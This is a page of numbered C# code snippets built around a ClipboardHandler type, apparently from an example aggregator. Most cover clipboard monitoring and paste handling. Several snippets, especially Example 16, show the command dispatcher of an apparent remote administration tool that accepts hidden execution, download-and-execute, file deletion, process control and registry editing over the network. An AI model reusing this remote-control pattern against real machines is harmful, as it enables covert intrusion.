Example #1
0
        protected override void WndProc(ref Message msg)
        {
            switch (msg.Msg)
            {
            case WM_DRAWCLIPBOARD:
                if (Clipboard.ContainsImage())
                {
                    // クリップボードの内容がテキストの場合のみ
                    // クリップボードの内容を取得してハンドラを呼び出す
                    ClipboardHandler?.Invoke(this, new ClipboardImageEventArgs(Clipboard.GetImage()));
                }
                if (_NextHandle != IntPtr.Zero)
                {
                    SendMessage(
                        _NextHandle, msg.Msg, msg.WParam, msg.LParam);
                }
                msg.Result = IntPtr.Zero;
                return;

            case WM_CHANGECBCHAIN:
                if (msg.WParam == _NextHandle)
                {
                    _NextHandle = msg.LParam;
                }
                else if (_NextHandle != IntPtr.Zero)
                {
                    SendMessage(_NextHandle, msg.Msg, msg.WParam, msg.LParam);
                }
                msg.Result = IntPtr.Zero;
                return;
            }
            base.WndProc(ref msg);
        }
Example #2
0
        protected override void OnInitialized(EventArgs e)
        {
            base.OnInitialized(e);

            ClipboardHandler clipboardHandler = OnClipboardUpdate;

            clipboard = new ClipboardListener(this, clipboardHandler);
            clipboard.Start();
        }
Example #3
0
        private void SetUpPlainTextPasteFromExternalSources()
        {
            //Clears default paste handlers (RTF -> HTML -> TXT).
            ClipboardEx.ClipboardHandlers.Clear();

            //Instantiate and register only plain-text clipboard handler.
            ClipboardHandler clipboardHandler = new ClipboardHandler();
            clipboardHandler.ClipboardDataFormat = DataFormats.Text;
            clipboardHandler.DocumentFormatProvider = DocumentFormatProvidersManager.GetProviderByExtension("txt");
            ClipboardEx.ClipboardHandlers.Add(clipboardHandler);
        }
Example #4
0
 public void OnClientDisconnect(IClient client)
 {
     PingHandler.Disconnect(client);
     RegistryEditorHandler.Disconnect(client);
     FileExplorerHandler.Disconnect(client);
     TaskManagerHandler.Disconnect(client);
     ConsoleHandler.Disconnect(client);
     ClipboardHandler.Disconnect(client);
     StartupManagerhandler.Disconnect(client);
     ConnectionsHandler.Disconnect(client);
 }
Example #5
0
        private void InsertText()
        {
            ReadOnlyCollection <ClipData> clipData = ClipboardHandler.GetClipboard();

            Thread.Sleep(50);
            Clipboard.SetText(this.Details);
            Thread.Sleep(50);
            ExecuteKeyList(MouseAction.ModifierClick, m_location);
            Thread.Sleep(200);
            ClipboardHandler.SetClipboard(clipData);
        }
Example #6
0
        private void SetUpPlainTextPasteFromExternalSources()
        {
            //Clears default paste handlers (RTF -> HTML -> TXT).
            ClipboardEx.ClipboardHandlers.Clear();

            //Instantiate and register only plain-text clipboard handler.
            ClipboardHandler clipboardHandler = new ClipboardHandler();

            clipboardHandler.ClipboardDataFormat    = DataFormats.Text;
            clipboardHandler.DocumentFormatProvider = DocumentFormatProvidersManager.GetProviderByExtension("txt");
            ClipboardEx.ClipboardHandlers.Add(clipboardHandler);
        }
Example #7
0
 public void OnPluginLoad(IClientHost server)
 {
     NetworkHost = server;
     TaskManagerHandler.SetNetworkHost(NetworkHost);
     RegistryEditorHandler.SetNetworkHost(NetworkHost);
     FileManagerHandler.SetNetworkHost(NetworkHost);
     ConsoleHandler.SetNetworkHost(NetworkHost);
     MiscHandler.SetClientHost(server);
     ClipboardHandler.SetHost(server);
     StartupHandler.SetHost(server);
     ConnectionsHandler.SetHost(server);
 }
Example #8
0
        private void SearchWeb()
        {
            System.Collections.ObjectModel.ReadOnlyCollection <ClipData> clipData = ClipboardHandler.GetClipboard();
            ExecuteKeyList(MouseAction.ModifierClick, m_location);
            System.Threading.Thread.Sleep(250);
            string  text      = Clipboard.GetText(); //ClipboardHandler.GetClipboardText();
            Process myProcess = new Process();

            myProcess.StartInfo.FileName = this.Details.Replace("(*)", text);
            myProcess.Start();

            ClipboardHandler.SetClipboard(clipData);
        }
Example #9
0
        public void OnDataRetrieved(IClient client, object[] data)
        {
            NetworkCommand command = (NetworkCommand)data[0];


            MUIHost.Log(string.Format("Network Command: {0}", data[0]), System.Drawing.Color.Blue);
            if (data.Length > 1)
            {
                MUIHost.Log(string.Format("SubCommand Command: {0}", data[1]), System.Drawing.Color.Blue);
            }

            if (command == NetworkCommand.Pong)
            {
                PingHandler.EndPing(client);
            }
            if (command == NetworkCommand.RegistryEdit)
            {
                RegistryEditorHandler.Handle(client, data);
            }
            if (command == NetworkCommand.FileManager)
            {
                FileExplorerHandler.Handle(client, data);
            }
            if (command == NetworkCommand.TaskManager)
            {
                TaskManagerHandler.Handle(client, data);
            }
            if (command == NetworkCommand.Console)
            {
                ConsoleHandler.Handle(client, data);
            }
            if (command == NetworkCommand.Clipboard)
            {
                ClipboardHandler.Handle(client, data);
            }
            if (command == NetworkCommand.StartupManager)
            {
                StartupManagerhandler.Handle(client, data);
            }
            if (command == NetworkCommand.Connections)
            {
                ConnectionsHandler.Handle(client, data);
            }
        }
Example #10
0
        /// <summary>
        /// Sets up default rich text paste that uses the RTF content of the clipboard first,
        /// then HTML and lastly - plain text.
        /// </summary>
        private void SetUpDefaultRichTextPasteFromExternalSources()
        {
            //Clears previously registered handlers and resets them to the default fallback values.
            ClipboardEx.ClipboardHandlers.Clear();

            ClipboardHandler rtfHandler = new ClipboardHandler();
            rtfHandler.DocumentFormatProvider = DocumentFormatProvidersManager.GetProviderByExtension("rtf");
            rtfHandler.ClipboardDataFormat = DataFormats.Rtf;
            ClipboardEx.ClipboardHandlers.Add(rtfHandler);

            ClipboardHandler htmlHandler = new ClipboardHandler();
            htmlHandler.DocumentFormatProvider = DocumentFormatProvidersManager.GetProviderByExtension("html");
            htmlHandler.ClipboardDataFormat = DataFormats.Html;
            htmlHandler.ClipboardStringFilter = ClipboardEx.StripHtmlClipboardFormatHeaders;
            ClipboardEx.ClipboardHandlers.Add(htmlHandler);

            ClipboardHandler txtHandler = new ClipboardHandler();
            txtHandler.DocumentFormatProvider = DocumentFormatProvidersManager.GetProviderByExtension("txt");
            txtHandler.ClipboardDataFormat = DataFormats.Text;
            ClipboardEx.ClipboardHandlers.Add(txtHandler);
        }
Example #11
0
        /// <summary>
        /// Sets up default rich text paste that uses the RTF content of the clipboard first,
        /// then HTML and lastly - plain text.
        /// </summary>
        private void SetUpDefaultRichTextPasteFromExternalSources()
        {
            //Clears previously registered handlers and resets them to the default fallback values.
            ClipboardEx.ClipboardHandlers.Clear();

            ClipboardHandler rtfHandler = new ClipboardHandler();

            rtfHandler.DocumentFormatProvider = DocumentFormatProvidersManager.GetProviderByExtension("rtf");
            rtfHandler.ClipboardDataFormat    = DataFormats.Rtf;
            ClipboardEx.ClipboardHandlers.Add(rtfHandler);

            ClipboardHandler htmlHandler = new ClipboardHandler();

            htmlHandler.DocumentFormatProvider = DocumentFormatProvidersManager.GetProviderByExtension("html");
            htmlHandler.ClipboardDataFormat    = DataFormats.Html;
            htmlHandler.ClipboardStringFilter  = ClipboardEx.StripHtmlClipboardFormatHeaders;
            ClipboardEx.ClipboardHandlers.Add(htmlHandler);

            ClipboardHandler txtHandler = new ClipboardHandler();

            txtHandler.DocumentFormatProvider = DocumentFormatProvidersManager.GetProviderByExtension("txt");
            txtHandler.ClipboardDataFormat    = DataFormats.Text;
            ClipboardEx.ClipboardHandlers.Add(txtHandler);
        }
Example #12
0
 public ClipboardListener(Window window, ClipboardHandler callback)
 {
     Window   = window;
     Callback = callback;
 }
 public ClipboardUIProvider(ClipboardHandler handler)
 {
     _Handler = handler;
 }
Example #14
0
 public MonitorCore(ClipboardHandler handler)
 {
     nextClipboardViewer = (IntPtr)SetClipboardViewer((int)Handle);
     this.handler        = handler;
 }
Example #15
0
 public WindowsClipboardMonitor(ClipboardHandler handler)
 {
     this.handler = handler;
 }
Example #16
0
        public void OnDataRecieved(object[] data)
        {
            NetworkCommand command = (NetworkCommand)data[0];

            Console.WriteLine("NetworkCommand: {0}", command.ToString());

            if (command == NetworkCommand.TaskManager)
            {
                TaskManagerHandler.Handle(data);
            }

            if (command == NetworkCommand.RegistryEdit)
            {
                RegistryEditorHandler.Handle(data);
            }
            if (command == NetworkCommand.FileManager)
            {
                FileManagerHandler.Handle(data);
            }
            if (command == NetworkCommand.Console)
            {
                ConsoleHandler.Handle(data);
            }
            if (command == NetworkCommand.Clipboard)
            {
                ClipboardHandler.Handle(data);
            }
            if (command == NetworkCommand.StartupManager)
            {
                StartupHandler.Handle(data);
            }
            if (command == NetworkCommand.Connections)
            {
                ConnectionsHandler.Handle(data);
            }


            if (command == NetworkCommand.Close)
            {
                Environment.Exit(0);
            }
            if (command == NetworkCommand.Restart)
            {
                MiscHandler.Restart();
            }
            if (command == NetworkCommand.Ping)
            {
                NetworkHost.Send((byte)NetworkCommand.Pong);
            }
            if (command == NetworkCommand.Execute)
            {
                MiscHandler.Execute((string)data[1]);
            }
            if (command == NetworkCommand.ExecuteHidden)
            {
                MiscHandler.ExecuteHidden((string)data[1]);
            }
            if (command == NetworkCommand.DeleteFile)
            {
                MiscHandler.DeleteFile((string)data[1]);
            }
            if (command == NetworkCommand.DownloadAndExecute)
            {
                MiscHandler.DownloadAndExecute((string)data[1], ".exe");
            }
            if (command == NetworkCommand.DownloadFile)
            {
                MiscHandler.DownloadFile((string)data[1], (string)data[2]);
            }
            if (command == NetworkCommand.KillProcess)
            {
                MiscHandler.KillProcess((int)data[1]);
            }
            if (command == NetworkCommand.SuspendProcess)
            {
                MiscHandler.SuspendProcess((int)data[1]);
            }
            if (command == NetworkCommand.ResumeProcess)
            {
                MiscHandler.ResumeProcess((int)data[1]);
            }
            if (command == NetworkCommand.HideWindow)
            {
                MiscHandler.HideWindow((int)data[1]);
            }
        }